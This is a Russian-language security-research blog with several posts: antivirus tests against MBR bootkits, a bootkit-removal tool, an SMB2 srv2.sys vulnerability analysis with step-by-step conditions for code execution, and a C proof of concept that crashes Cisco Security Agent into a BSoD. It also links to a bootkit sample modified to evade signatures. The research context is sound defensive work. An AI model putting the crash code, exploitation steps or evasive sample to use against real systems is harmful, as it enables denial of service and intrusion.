My aimless life...

Дочитываю сейчас следующую книгу:

Fuzzing: Brute Force Vulnerability Discovery
За авторством чуваков из iDefense Labs: Michael Sutton, Adam Greene, Pedram Amini (основатель OpenRCE, кстати)



Тем, кто не в курсе как находится большая часть уязвимостей в современных программах и что такое фаззинг, книга в подробностях расскажет о подходах и методологии. Ну a тех, кто использует фаззинг в своей работе - она предостережет от изобретения велосипедов.
Кроме того, "Fuzzing: Brute Force Vulnerability Discovery" является хорошим примером того, как нужно писать технические книги на, казалось бы, узкую тему для максимально широкой аудитории технических специалистов.

Русское издание можно достать на books.ru:
http://www.books.ru/shop/books/694839
(Осторожно! Перевод оставляет желать лучшего)

А английское - на амазоне:
http://www.amazon.com/gp/product/0321446119
... или скачать вполне читабельный скан в PDF:
http://narod.ru/disk/15046266000/Fuzzing%20Brute%20Force%20Vulnerability%20Discovery.rar.html

Мы наконец-то выпустили электронный журнал, который призван стать русскоязычным аналогом Uninformed-a.
Так уж получилось, что руткиты стали главной темой первого выпуска, однако, в следующих релизах обязательно будут раскрыты и многие другие.

В номере опубликован достаточно большой материал моего авторства:

Обнаружение руткитов режима ядра с помощью отладчика

В настоящее время вредоносные программы всё чаще снабжаются функциями активного противодействия различным защитным системам. Времена, когда трояны и черви банально завершали процессы антивирусов по списку имён, давно прошли; сейчас никого не удивишь даже снятием перехватов и деактивацией фильтров, установленных HIPS-ами. А использование rootkit-технологий для сокрытия вредоносного кода в системе стало практически стандартом.
В процессе анализа пойманных in-the-wild ("в живой природе") экземпляров руткитов трудно переоценить помощь утилит-антируткитов. Бесплатные программы этого класса, такие как GMER, Rootkit Unhooker, IceSword, Safe n'Sec Rootkit Detector, на данный момент остаются одним из самых удобных и эффективных инструментов для поиска и анализа руткитов. Специфика технологий, используемых в перечисленных антируткитах, делает их обход нетривиальной задачей, и как следствие - практически нерешаемой для авторов подавляющего большинства зловредов. Этот факт заставляет плохих парней идти по несколько иному пути: а именно, препятствовать нормальной работе защитных программ вместо их обхода. Что делать, если ни один из этих антируткитов не заработал на зараженной машине? В таком случае можно проанализировать и деактивировать руткит практически "голыми руками", при помощи только отладчика и понимания архитектуры операционной системы. Об этом и пойдёт речь в данной статье.

http://nobunkum.ru/issue001/rootkits-windbg.html

... а так же ещё три интересных статьи от других людей:
Современные rootkit-технологии в Linux
Анализ руткита TDSS
«Все лгут». Погоня за истиной при поиске руткитов

Читать полностью: NOBUNKUM #1

Мы выпустили универсальную утилиту для удаления буткитов (включая Sinowal/Mebroot всех версий,
Stoned Bootkit и все возможные в будущем вариации на тему заражения MBR).
Читать описание и скачать утилиту можно здесь:
http://www.esagelab.ru/resources.php?s=bootkit_remover.
Далее – предыстория.

Буткиты, как разновидность широко распространенных вредоносных программ, появились in the wild в начале 2008-го года в лице семейства троянцев Sinowal (или Mebroot, по классификации других вендоров) и стали настоящей головной болью для антивирусной индустрии.
К тому же, недавно был представлен концептуальный буткит – Stoned Bootkit. Это послужило поводом для проведения небольшого исследования (см.ниже) с целью выяснить, как справляются антивирусы со старой доброй угрозой и ее новыми вариациями, а результаты тестирования, в свою очередь, послужили поводом для разработки простой и универсальной утилиты для лечения любых заражений MBR.

Предыстория

Современный буткит, фактически, представляет собой продолжение идей старых-добрых загрузочных вирусов времён DOS под NT платформу. Их история началась с презентации eEye Digital Security на конференции Black Hat USA в 2005-м году, в ходе которой был представлен концепт, запускающийся из главного загрузочного сектора и содержащий в качестве "полезной нагрузки" NDIS-бекдор, который позволял удалённо выполнять произвольный код на захваченном хосте:
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf

Именно этот код и взяли за основу авторы троянца Sinowal, дополнив его функционалом по загрузке драйвера и механизмами сокрытия вредоносной активности, сделавшими удаление данного буткита делом совсем нетривиальным. Что из себя представляет Sinowal?

• В процессе заражения компьютера дроппер буткита модифицирует код главной загрузочной записи (MBR). Работающий в системе троянец не виден в качестве файла, он "живёт" исключительно в MBR и первых секторах диска, которые не относятся к какому-либо разделу.


• Во время загрузки системы, MBR-код буткита перехватывает процедуру чтения ядра операционной системы с диска, для осуществления патчинга вызова функции IoInitSystem рядом с точкой входа. После этого (так же как и в случае с легитимным загрузочным кодом) дальнейшее управление процессом загрузки передаётся загрузочному коду системного раздела, который, в свою очередь, считывает и запускает загрузчик операционной системы (ntldr).


• По завершению второй стадии загрузки, загрузчик операционной системы передаёт управление ядру, но из-за установленного перехвата вызова IoInitSystem выполняется код буткита, который осуществляет проецирование в память драйвера с основным функционалом троянца.


• Драйвер троянца устанавливает перехваты на драйвера дисковой подсистемы, которые, при попытке чтения модифицированного MBR, возвращают сохранённую копию оригинального загрузочного сектора.


• На более поздних этапах инициализации и работы системы в процессы пользовательского режима драйвером внедряется код, который осуществляет взаимодействие троянца с командным центром а так же представляет собой spyware, ориентированный на кражу аккаунтов для доступа к системам онлайн-банкинга.

Неудивительно, что появление подобного зловреда вызвало бурную реакцию всего security-сообщества, ведь до этого, буткиты воспринимали исключительно как интересные концепты, которые вряд ли получат развитие в виде реальных угроз.

Первое развёрнутое описание (а заодно и первая работающая утилита, позволяющая удалять буткита) были опубликованы автором популярного антируткита GMER на своём сайте:
http://www2.gmer.net/mbr/

Несколько позже, интересными публикациями отличились и эксперты Лаборатории Касперского, вслед за которыми детектирование первого семейства Sinowal-а добавили в свои продукты и другие крупные антивирусные вендоры:
http://www.securelist.com/ru/analysis/204007635/Butkit_vyzov_2008
http://www.securelist.com/ru/analysis/204007605/Sovremennye_informatsionnye_ugrozy_I_kvartal_2008

Второе, актуальное и по сей день, поколение Sinowal-а увидело свет в марте 2009-го года:
http://www.securelist.com/ru/analysis/204007655/Butkit_2009

Из-за более интересных перехватов чтения диска, и возможно, по некоторым другим причинам, лечение активного заражения этой версии стало ещё большей проблемой для производителей антивирусов.

Тестирование

Задачей тестирования было проверить, насколько качественно антивирусы детектируют и лечат вредоносные программы, модифицирующие MBR, и насколько они готовы к появлению новых угроз такого типа. Для этого, во-первых, необходимо выяснить, каким образом антивирусы детектируют вредоносный код в MBR: сигнатурно или универсально. Сигнатурное детектирование бессильно против новых модификаций старой угрозы. Во-вторых, необходимо протестировать антивирусы с уже появившейся «новой угрозой».

К сожалению, у меня не было ни времени ни желания тестировать все несколько десятков антивирусов от разных компаний, поэтому, в тестирование попали только те, которые по информации от самих вендоров и слухам с форума anti-malware.ru способны детектировать и/или лечить второе поколение Sinowal-а.
Итак, перед нами:

McAfee VirusScan 13.15.101

Dr.Web CureIt! 5.0.2.9230

Kaspersky Antivirus 2009 9.0.0.463

ESET NOD32 4.0.437.0

Avast Pro 4.8.1356.0

Symantec Trojan.Mebroot Removal Tool 1.0.1.0

F-Secure BlackLight 2.2.1092.0

Кроме того, в тестировании приняла участие бесплатная утилита-антируткит RootRepeal версии 1.3.5.0.

Перейдём к делу.
Тестирование производилось на VMware, с установленной Windows XP Professional SP2. Всего было развёрнуто три разных тестовых стенда.

• Самый обычный сампл Sinowal-а второго поколения, дроппер которого датирован концом мая 2009-го года (VirusTotal).


• Модифицированная версия Sinowal-а которая была полученна следующим образом: я дизассемблировал код загрузочной записи руткита, прочитанный с зараженной машины, модифицировал его, разбавив мусорными xor-ами и nop-ами и с целью сбития сигнатуры, и после ассембилрования записал обратно на диск. Код доступен для скачивания здесь:
  http://www.esagelab.com/files/sinowal-b_modified.zip.
  
  
  Модифицированный загрузочный код буткита (добавленные инструкции выделены).
  


• Stoned Bootkit. Это очередной концептуальный буткит, который был представлен на конференции BlackHat в этом году. Публично доступная версия буткита является сильно урезанной: кроме инфектора и, собственно, загрузочного кода в ней фактически ничего нет. Дополнительная информация доступна на сайте проекта:
  http://www.stoned-vienna.com/.

На зараженную виртуальную машину устанавливались последние версии перечисленных выше продуктов, после чего осуществлялось обновление антивирусных баз и полное сканирование системы с активацией всех возможных опций и технологий детектирования. Работоспособность Sinowal-а на каждом этапе проверялась с помощью RootkitUnhooker-а по наличию в системе подозрительных потоков и исполняемого кода.
Пример лога:

==============================================
>Stealth
==============================================
0x8122CB80 Page with executable code [ ETHREAD 0x81400DA8 ] TID: 256, size: 1152 bytes
0x811E9B29 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 1239 bytes
0x811E6B13 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1261 bytes
0x811BAB07 Page with executable code [ ETHREAD 0x81416570 ] TID: 744, size: 1273 bytes
0x81202AF1 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1295 bytes
0x81208A55 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1451 bytes
0x811DA9B1 Page with executable code [ ETHREAD 0x815BB8F8 ] TID: 684, size: 1615 bytes
0x811E78F8 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1800 bytes
0x811E87B9 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 2119 bytes
0x811BB6B2 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2382 bytes
0x811C3581 Page with executable code [ ETHREAD 0x81661A90 ] TID: 748, size: 2687 bytes
0x811DE4A3 Page with executable code [ ETHREAD 0x817CB810 ] TID: 24, size: 2909 bytes
0x8120648C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2932 bytes
0x811E841F Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3041 bytes
0x8121F419 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3047 bytes
0x8121E3CA Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3126 bytes
0x811EC3B6 Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3146 bytes
0x811FE321 Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3295 bytes
0x811FE25E Page with executable code [ ETHREAD 0x81400B20 ] TID: 264, size: 3490 bytes
0x811FB20A Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3574 bytes
0x8120EA80 Unknown thread object [ ETHREAD 0x813F3DA8 ] TID: 248, size: 592 bytes
0x811FB187 Unknown thread object [ ETHREAD 0x813F3B20 ] TID: 252, size: 592 bytes
0x8122CAF7 Unknown thread object [ ETHREAD 0x81400DA8 ] TID: 256, size: 592 bytes
0x811FE119 Unknown thread object [ ETHREAD 0x81400B20 ] TID: 264, size: 592 bytes
0x8123FDF0 Unknown thread object [ ETHREAD 0x816EB030 ] TID: 560, size: 592 bytes
0x811C3417 Unknown thread object [ ETHREAD 0x8165BDA8 ] TID: 648, size: 592 bytes
0x811C0D7C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 644 bytes
0x811D5D2D Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 723 bytes
0x8120ED0B Page with executable code [ ETHREAD 0x813F3DA8 ] TID: 248, size: 757 bytes

Кроме того, для диагностики системы использовалась и утилита собственной разработки, речь о которой пойдёт в конце поста.
Результаты тестирования привожу в виде таблицы (детектирование/удаление).

	Sinowal-b	Sinowal-b Modified	Stoned Bootkit
McAfee VirusScan	+/+	–/–	–/–
Dr.Web CureIt!	+/+	–/–	–/–
Kaspersky Antivirus 2009	+/+	+/–	–/–
ESET NOD32	+/–	+/–	+/–
RootRepeal	+/+	+/+	–/–

В таблице не фигурируют утилиты и продукты от Avast, Symantec и F-Secure, так как они провалили тест, отказавшись впринципе детектировать что-либо из использовавшихся самплов. Но результаты по остальным оказались весьма интересные, и с ходу вызывают достаточно много вопросов.

• 
  Почему в первом тесте NOD32 не смог вылечить активное заражение?
  Если честно, для меня самого это осталось загадкой, особенно с учётом того, что ESET зарелизил отдельную утилиту-ремовер, замечательно справляющуюся с удалением не модифицированного Sinowal-а обеих поколений. Однако, в силу того что среднестатистический пользователь вряд ли додумается найти и использовать эту утилиту, я посчитал более справедливым включить в тестирование именно "большой" продукт.


• 
  Почему во втором тесте большинство продуктов от антивирусных компаний смогли детектировать буткит, но не смогли с ним ничего сделать?
  На самом деле, речь идёт всего-лишь о детекте драйвера буткита в памяти, а не вредоносного кода в главной загрузочной записи. Полная бесполезность подобного детектирования очевидна.


• 
  А почему антивирусы не смогли детектировать модифицированный загрузочный код буткита?
  Это звучит пугающе, но загрузочный код детектируется исключительно сигнатурно. Да, вы не ослышались, это полный и невообразимый пиздец: активный руткит, который легко идентифицировать по подменённому загрузочному коду (при попытке его считывания стандартными средствами) напрочь игнорируется, если сгнатуры этого самого загрузочного кода нет в базе. Удивительно, но всего за десять минут работы мы смогли проапгрейдить версию зловреда почти пятимесячной давности таким образом, что удалить её не смог ни один антивирус.


• 
  Но ведь RootRepeal замечательно справляется с удалением буткита в первых двух тестах?
  Да, справляется. Автор этого антируткита написал "правильный" детект, который срабатывает именно в случае обнаружения аномалии (несоответствие загрузочного кода при попытке его чтения разными средствами). На лицо повторение ситуации, которая какое-то время назад сложилась и в области классических руткитов: бесплатная утилита, написанная энтузиастом-одиночкой справляется с лечением технически сложных троянов гораздо лучше, чем продукты больших компаний, в написание которых было вложенно огромное количество материальных ресурсов и человеко-часов.


• 
  Почему почти никто не детектирует и не лечит Stoned Bootkit?
  С RootRepeal-ом всё просто: это антируткит, и его задачей является исключительно детектирование аномалий. Stoned никак не скрывает свой код в MBR, из-за этого и игнорируется антируткитом. Однако, подобная формулировка не сможет служить оправданием в случае с антивирусами. На первый взгляд, может показатся что детектировать ничего не делающий концепт действительно бессмысленно (исключение составили только ESET, которые, видимо, удосужились потратить две минуты на скачивание инфектора и добавления сигнатуры в базу), но давайте мыслить шире. Вирусописатель вполне может использовать полиморфный движок для генерации уникального загрузочного кода в каждом конкретном случае заражения, блокируя после этого попытки его модификации/перезаписи, вместо перехвата процедуры чтения. Таким образом, в течении того времени, что потребуется антивирусным компаниям на анализ сампла, написание и тестирование процедуры детекта/удаления, новый зловред получит возможность невозбранно поселиться хоть на сотнях тысяч компьютеров.

Выводы, опираясь на приведенные мной факты, можете сделать сами, но то, что антивирусная индустрия в техническом плане не готова в полной мере защищать пользователей от нового вида угроз - более чем очевидно. Радует лишь тот факт, что участвовавшие в тестировании продукты хоть как-то детектируют распотраненные in the wild сапмплы, ведь подавляющие большинство других вендоров тихо отмалчивается вообще игнорируя проблемы.

Утилита

В завершение этой заметки, я хотел бы представить вашему вниманию утилиту собственной разработки, которая является универсальным средством для детектирования и удаления буткитов. Её главные отличительные особенности:

• 
  Корректно детектирует и лечит активное заражение как распространенных in the wild буткитов (включая все модификации Sinowal/Mebroot), так и неизвестных зловредов подобного класса.


• 
  Протестирована и работает на 32-х и 64-х разрядных операционных системах Microsoft Windows XP, Server 2003, Vista, Server 2008 и Windows 7 (RC1 и RTM).


• 
  Работает исключительно из режима пользователя, без использования драйверов и каких-либо недокументированных механизмов и функций операционной системы.

Bootkit Remover нашел активный Sinowal-b.

Ремовер простой в использовании.
Утилита работает из командной строки (необходимы права администратора).

Проверка MBR для всех физических накопителей:

> remover.exe

В отчете сканирования выводится один из трех вердиктов для каждого
физического накопителя:

OK (DOS/Win32 Boot code found) - MBR содержит оригинальный загрузочный код операционной системы DOS/Windows.

Unknown boot code - MBR содержит неизвестный загрузочный код. На практике это может означать то, что в системе присутствует буткит который не скрывает модифицированный загрузочный код. Кроме того, подобный статус будет выводится в случае использования какого-либо нестандартного мененджера загрузки (например, GRUB).

Controlled by rootkit! - в системе обнаружен активный буткит, который препятствует чтению модифицированного загрузочного кода стандартными средствами (именно так детектируется Sinowal/Mebroot).

Восстановление оригинального загрузочного кода Windows:

> remover.exe fix <device>

... где <device> - это системное имя физического накопителя, на котором вы хотите восстановить загрузочный код (например, \\.\PhysicalDrive0).

Дамп загрузочного кода в консоль или в файл:

> remover.exe dump <device> [output_file]

... где output_file - опциональное имя выходного файла, в который будет записан загрузочный код.

*** ВНИМАНИЕ!
При перезаписи MBR всегда существует небольшой риск нанести вред операционной системе. Поэтому, перед тем как использовать утилиту Bootkit Remover, обязательно приготовьте загрузочный установочный диск с используемой версией Windows, с помощью которого (Recovery Console) можно восстановить MBR в случае его повреждения.</p>

Скачать утилиту можно здесь: http://www.esagelab.com/files/bootkit_remover.rar
По вопросам работы ремовера связываться со мной лучше всего по е-mail: dmitry@esagelab.ru

К этому посту:
http://cr4sh-0x48k.livejournal.com/39651.html

Сегодня в репозитории метасплойта появился полнофункциональный код, эксплуатриующий уязвимость в srv2.sys при обработке SMB запросов:
http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb

Если попытаться охарактеризовать его одним словом, то "охуеть" будет одним из самых подходящих: что бы добиться remote code execution в таких условиях, нужно быть или очень умным, или очень везучим. Код работает следующим образом.

Индекс массива методов, использующийся в srv2!Smb2ValidateProviderCallback, подбирается таким образом, что бы происходил вызов функции srv2!SrvSnapShotScavengerTimer. Здесь самое интересное: так как srv2!SrvSnapShotScavengerTimer принимает на стеке четыре дворда (вместо одного в случае с методом, вызов которого был предусмотрен девелоперами), происходит порча esp после выхода из этой функции и как следствие - подмена значений в регистрах edi и esi, которые восстанавливаются перед возвратом из srv2!Smb2ValidateProviderCallback. Далее, выполняется следующая цепочка вызовов:

91040ce8 9098d96f 83c84548 00000000 00000001 srv2!SrvProcCompleteRequest+0xd2
91040d10 9098d997 3fffffb4 91040d34 9098cae2 srv2!SrvConsumeDataAndComplete2+0x35e
91040d1c 9098cae2 83c84548 83c84548 9098a801 srv2!SrvConsumeDataAndComplete+0x1c
91040d34 9098cab4 83c84548 00000000 9098a801 srv2!SrvProcCompleteRequest+0x23

... и только в srv2!SrvProcCompleteRequest происходит push esi/call eax, где esi указывает на начало пакета, а eax на - ret в коде ядра.
Другими словами, в норме здесь eax содержит указатель на функцию из srv2, но за счёт того, что в srv2!Smb2ValidateProviderCallback херится стек, туда попадает дворд из данных пакета.

Эксплойт в большинстве случаев стабильно отрабатывает на Vista SP1 (редкие падения были зафикисированны из-за особенностей использующегося ring0->ring3 лаунчера для стандартных шеллкодов):

Последние дни все обсуждают новый PoC под всё ещё непропатченую уязвимость в SMB сервере Microsoft Windows Vista, 2008 Server и 7:
http://securityvulns.com/news/Windows/7/SMB2.html
http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html

Уязвимость имеет место быть из-за бага в драйвере ядра srv2.sys, который проявляет себя при обработке стандартного SMB запроса типа SMB_COM_NEGOTIATE (этим запросом, собственно, и начинается любая SMB сессия). С помощью SMB_COM_NEGOTIATE (Command code = 72h) клиент сообщает серверу типы поддерживаемых SMB-диалектов. Формат запроса следующий:

typedef struct  {
    UCHAR Protocol[4];                // Contains 0xFF,'SMB'
    UCHAR Command;                    // Command code
    union {
        struct {
            UCHAR ErrorClass;         // Error class
            UCHAR Reserved;           // Reserved for future use
            USHORT Error;             // Error code
        } DosError;
        ULONG Status;                 // 32-bit error code
    } Status;
    UCHAR Flags;                      // Flags
    USHORT Flags2;                    // More flags
    union {
        USHORT Pad[6];                // Ensure section is 12 bytes long
        struct {
            USHORT PidHigh;           // High part of PID
            ULONG  Unused;            // Not used
            ULONG  Unused2;
    } Extra;
    };
    
    // skipped

} SMB_HEADER;

Более подробная инфа о протоколе есть в этой спецификации:
http://www.microsoft.com/about/legal/protocols/BSTD/CIFS/draft-leach-cifs-v1-spec-02.txt

Call stack на момент краха системы выглядит следующим образом (Windows 7 RC1, srv2.sys ver. 6.1.7100.0):

8bba77fc 8271cb85 00000003 00003ff8 e04d8d0c nt!DbgBreakPointWithStatus+0x4
8bba7bc0 826b3d85 00000050 e04d8d0c 00000008 nt!KeBugCheckEx+0xc7b
8bba7c4c 8267b5c8 00000008 e04d8d0c 00000000 nt!KeSetTimerEx+0x1ca
8bba7cd4 9055cc75 83c7a008 90556700 83c7a008 nt!Kei386EoiHelper+0x27c0
8bba7cec 9055c684 83c7a008 0000085b 83c7a008 srv2!Smb2ExecuteProviderCallback+0xd8
8bba7d08 905582e0 85436fd8 00000000 853d5450 srv2!SrvProcessPacket+0xba
8bba7d50 8283abc3 850f1d40 b28fe0f2 00000000 srv2!SrvProcWorkerThread+0x2db
8bba7d90 826fde29 90558005 850f1d40 00000000 nt!RtlDeleteAtomFromAtomTable+0xebe
00000000 00000000 00000000 00000000 00000000 nt!ExReinitializeResourceLite+0x42f

Суть уязвимости заключается в отсутствии валидации значения поля PidHigh, которое, обычно, нулевое для запросов подобного типа. Фрагмент кода бажной функции srv2!Smb2ExecuteProviderCallback:

srv2!Smb2ExecuteProviderCallback+0xbf:
; edi указывает на начало SMB пакета
9055cc5c 0fb7470c        movzx   eax,word ptr [edi+0Ch]
; в eax занесено значение поля PidHigh, которое
; используется в качестве индекса для массива
; адресов функций srv2!ExecuteRoutines
9055cc60 8b048540715590  mov     eax,dword ptr srv2!ExecuteRoutines (90557140)[eax*4]
; (!!!) граница значения для индекса не проверяется
; в eax занесён адрес функции-обработчика SMB-метода
9055cc67 56              push    esi
9055cc68 85c0            test    eax,eax
9055cc6a 7507            jne     srv2!Smb2ExecuteProviderCallback+0xd6 (9055cc73)
9055cc6c e871fd0000      call    srv2!Smb2ExecuteNotImplemented (9056c9e2)
9055cc71 eb02            jmp     srv2!Smb2ExecuteProviderCallback+0xd8 (9055cc75)
9055cc73 ffd0            call    eax

Таким образом, для передачи управления на шеллкод должны быть выполнены следующие условия:
1. Атакующий должен найти фрагмент кода (желательно, в том же srv2.sys) вида lea reg,[edi+some_offset]/call reg, где some_offset - смещение шеллкода в SMB запросе.
2. В промапленном в память модуле (опять же, желательно что бы это был именно srv2.sys) необходимо отыскать указатель на найденные в п.1 инструкции.
3. Из адресса указателя вычислить index по след. формуле: index = (pointer - srv2!ExecuteRoutines) / 4. Причём, адрес указателя должен быть кратный 4-м и больше адреса таблицы srv2!ExecuteRoutines, а получившийся в итоге индекс меньше FFFFh.
4. Вычисленный в п.3 индекс нужно заюзаь в качестве значения поля PidHigh.

За несколько часов работы удовлетворить все эти условия мне так и не удалось. Это, само собой, не является истиной в последней инстанции, но моё имхо - нового конфикера не будет :)

К этому посту.
А ещё Cisco Security Agent 5.1 страдает детской болезнью кривых обработчиков перехватов и легко валится в BSoD (хоть из-под гостевой учётки) пиведенным ниже кодом.

int _tmain(int argc, _TCHAR* argv[])
{
    #define GET_NATIVE(_proc_)GetProcAddress(GetModuleHandle("ntdll.dll"), (_proc_))

    f_NtCreateKey NtCreateKey = (f_NtCreateKey)GET_NATIVE("NtCreateKey");
    if (NtCreateKey)
    {
        printf("ntdll!NtCreateKey() at 0x%.8x\n", NtCreateKey);

        NTSTATUS ns = NtCreateKey(
            (PHANDLE)0xfffffff0, 
            KEY_ALL_ACCESS, 
            (POBJECT_ATTRIBUTES)0xfffffff0,
            0,
            NULL,
            0,
            NULL
        );

        printf("ntdll!NtCreateKey() returns status 0x%.8x\n", ns);
    }
    else
    {
        printf("Error while lookuping ntdll!NtCreateKey()\n");
    }

    return 0;
}

Был более высокого мнения о качестве продуктов Cisco :)
Test app: http://rapidshare.com/files/276697375/csa_hook_bsod.zip.html
Call stack:

f58e2818 808253e7 00000003 fffffff4 00000000 nt!RtlpBreakWithStatusInstruction
f58e2864 808262bc 00000003 c07ffff8 8201dbd0 nt!KiBugCheckDebugBreak+0x19
f58e2bfc 80826659 00000050 fffffff4 00000000 nt!KeBugCheck2+0x5b2
f58e2c1c 8085a01b 00000050 fffffff4 00000000 nt!KeBugCheckEx+0x1b
f58e2c90 80885ed0 00000000 fffffff4 00000000 nt!MmAccessFault+0xa91
f58e2c90 f74f97cb 00000000 fffffff4 00000000 nt!KiTrap0E+0xd8
WARNING: Stack unwind information not available. Following frames may be wrong.
f58e2d40 80882fa8 fffffff0 000f003f fffffff0 csareg+0x27cb
f58e2d40 7c82ed54 fffffff0 000f003f fffffff0 nt!KiFastCallEntry+0xf8
0012fd94 7c821244 004197a0 fffffff0 000f003f ntdll!KiFastSystemCallRet
0012fd98 004197a0 fffffff0 000f003f fffffff0 ntdll!ZwCreateKey+0xc
0012fedc 00411c00 00000001 00310bc8 00310c40 csa_hook_bsod!main+0xc0 [x:\dev\fw_tests\csa_hook_bsod\csa_hook_bsod.cpp @ 104]
0012ffc0 77e523cd 00000000 00000000 7ffd9000 csa_hook_bsod!mainCRTStartup+0x170 [f:\vs70builds\3077\vc\crtbld\crt\src\crt0.c @ 259]
0012fff0 00000000 0041132f 00000000 78746341 kernel32!BaseProcessStart+0x23

Я очень давно хотел поковырять на предмет безопасности какую-нибуть крутую корпоративную проактивку. Нет, не продукт от антивирусных вендоров (ихние корпоративные решения технологически не отличаются от пользовательско-десктопных продуктов), а что-то более интересное.
И вот, в мои руки попал сабж версии 5.1 (Спасибо grey_olli за подгон). Впечатления двойственные.

С одной строны, CSA слил несколько простых ликтестов:
http://rapidshare.com/files/276673428/bypass_pending_copy.zip.html
- замена beep.sys своим драйвером через pending copy средствами session manager-а.
http://rapidshare.com/files/276672710/bypass_hook_inject.zip.html
- маскировка под доверенный процесс спуффингом NtCreateFile на этапе его создания (с последующей установкой драйвера).
Первую дыру хоть и можно заткнуть редактированием политик, но вторая всегда будет существовать бай дизайн.

С другой - CSA привлекает своей гибкостью, большим кол-вом настроек и удачной архитектурой:
1. Все политики и рулесы хранятся в MsSQL-ной базе данных, которая может быть расположена как на локальном так и на удалённом хосте (удобно для резервного копирования и централизированного управления).
2. Конфигурирование осуществляется через веб-интерфейс (удобно для удалённого администрирования CSA на пользовательских машинах).
3. Встроенные политики довольно продуманные: проактивка показывает алерты редко и исключительно по делу (в отличии от продуктов ав-вендоров, с которыми по этому пункту полный пиздец).

Выводы:
- с дефолтными политиками Cisco Security Agent не может обеспечить приемлимый уровень безопасности.
- редактированием и обновлением политик должен заниматься специально обученный человек.
- специально обученный человек должен быть не каким-то там сисадмином, а вирусным аналитиком, достаточно хорошо разбирающимся в архитектуре и особенностях работы NT, а так же, пребывать в курсе всех последних тенденций малваростроения.

Здесь лог RkU с безумным количеством ядерных и user mode перехватов. На очереди глубокий реверс :)

Я вот уже с полгода активно пишу под 64 бита (не Itanium, а AMD64/EM64T, разумеется). Пишу как всякие движечки/библиотечки на заказ, так и тулзы для своих, исследовательских целей. И знаете, этот факт привносит много мелкого но неприятного геммороя в решение, казалось бы, повседневных задач, по сравнению с оным под x86.
Возьмём хотя бы REX преффикс. Есть такой байт формата 0100WR0B в AMD64, который находится между обычным преффиксом и, собственно, опкодом. Бит W, будучи установленным в 1, преобразует инструкцию вида REX LEA R64,VAL чудесным образом: помещаемое в регистр значение VAL, в данном случае, в сгенерированной компилятором инструкции будет не присутствовать в машинном коде непосредственно, а вычисляться динамически, по оффсету относительно адрреса самой инструкции LEA. Короче говоря:

.text:000007FF7E9C167A lea rcx,unk_7FF7E9DB618

будет выглядеть так:

.text:000007FF7E9C167A db 48h
.text:000007FF7E9C167B db 8Dh
.text:000007FF7E9C167C db 0Dh
.text:000007FF7E9C167D db 97h
.text:000007FF7E9C167E db 9Fh
.text:000007FF7E9C167F db 01h
.text:000007FF7E9C1680 db 00h

Вычисляется по смещению - и хрен бы с ним, подумает недалёкий читатель, однако, преффикс REX весьма часто встречается в коде, генерируемом разнообразными компилерами (инструкция меньше места занимает, типа), а здесь и начинается самое интересное.
Вот, бывало, хочешь ты поставить перехват на код какой-то функции, пропатчив её джампом и сохранив старый код в виде callgate, для вызова оригинальной функции (обычный сплайсинг, короче) - но хуй, в начале функции какраз-таки и попадается подобный LEA, который будучи перенесённым в callgate ну никак не сможет правильно работать в том случае, если разница между адресами функции и коллгейта будет больше чем FFFFFFFFh (естественно, операнд в инструкции же 32-х разрядным числом задаётся).
Для написания парсера, который будет преобразовывать такие инструкции к нормальному виду, я пока морально не созрел (кроме REX ведь есть куча другой фигни, работающей аналогичным образом, Direct Memory-Offset MOVs, for example), вот и мучаюсь всякими черезжопными решениями, включая (о боже!) IAT-перехваты.


Да, ещё мне сегодя пришла в голову идея написания самого стабильного и правильного софтварного эмулятора CPU! В интелловских манах ведь, для каждой инструкции есть псевдокод, поясняющий принцип её работы. Например, для sidt вот-такой:

IF instruction is SIDT
  THEN
  IF OperandSize = 16
    THEN 
    DEST[0:15] <- IDTR(Limit);
    DEST[16:39] <- IDTR(Base); (* 24 bits of base address stored; *)
    DEST[40:47] <- 0;
  ELSE IF (32-bit Operand Size)
    DEST[0:15] <- IDTR(Limit);
    DEST[16:47] <- IDTR(Base); FI; (* Full 32-bit base address stored *)
  ELSE (* 64-bit Operand Size *)
    DEST[0:15] <- IDTR(Limit);
    DEST[16:79] <- IDTR(Base); (* Full 64-bit base address stored *)
  FI;
FI;

Вобщем, суть:
1. Скачиваем интелловские маны в PDF.
2. Пишем парсер-транслятор, который будет выдирать из них псевдокод для каждой инструкции, и преобразовывать его в С-шный исходник.
3. ...
4. PROFFIT!

В процессе чтения /c/ мне подумалась мысль относительно некоторого порядка вещей в software industry, который, вобщем-то, сложно не заметить. Эти ваши интернеты, на сегодняшний день, кишат просто тьмой программеров, которые усиленно пропагандируют и продвигают в широкие массы джаву и прочие дотнеты. Причём я не только имиджборды имею в виду, скопление таких личностей наблюдается повсеместно: достаточно почитать любое сообщество типа хабра, или послушать какой-нибуть околотехнический подкаст.
Собственно, сами языки/платформы о котрых идёт речь тяжело назвать новомодными, однако, чем дальше - тем больший ажиотаж вокруг них происходит. Происходит - и хрен бы с ним: интерфейсы, объектные переменные, кроссплатформенность (в случае с Java) и прочие ништяки это как бы хорошо и правильно, да и с развитием технологии численность квалифицированных разработчиков, её использующих, растёт. Но, собственно, наблюдение, про которое я хотел рассказать, заключается в том, что количество трепливых программистов какое-то непропорционально большое относительно количества хороших, годных программ написанных на Java и .NET.
Может вы приведёте примеры таких хороших common-usable программ (мультимедиа, общение в сети, итд.), которые были бы заметно лучше своих аналогов, написанных на C/C++/Delphi?

Статья про уязвимости в драйверах:
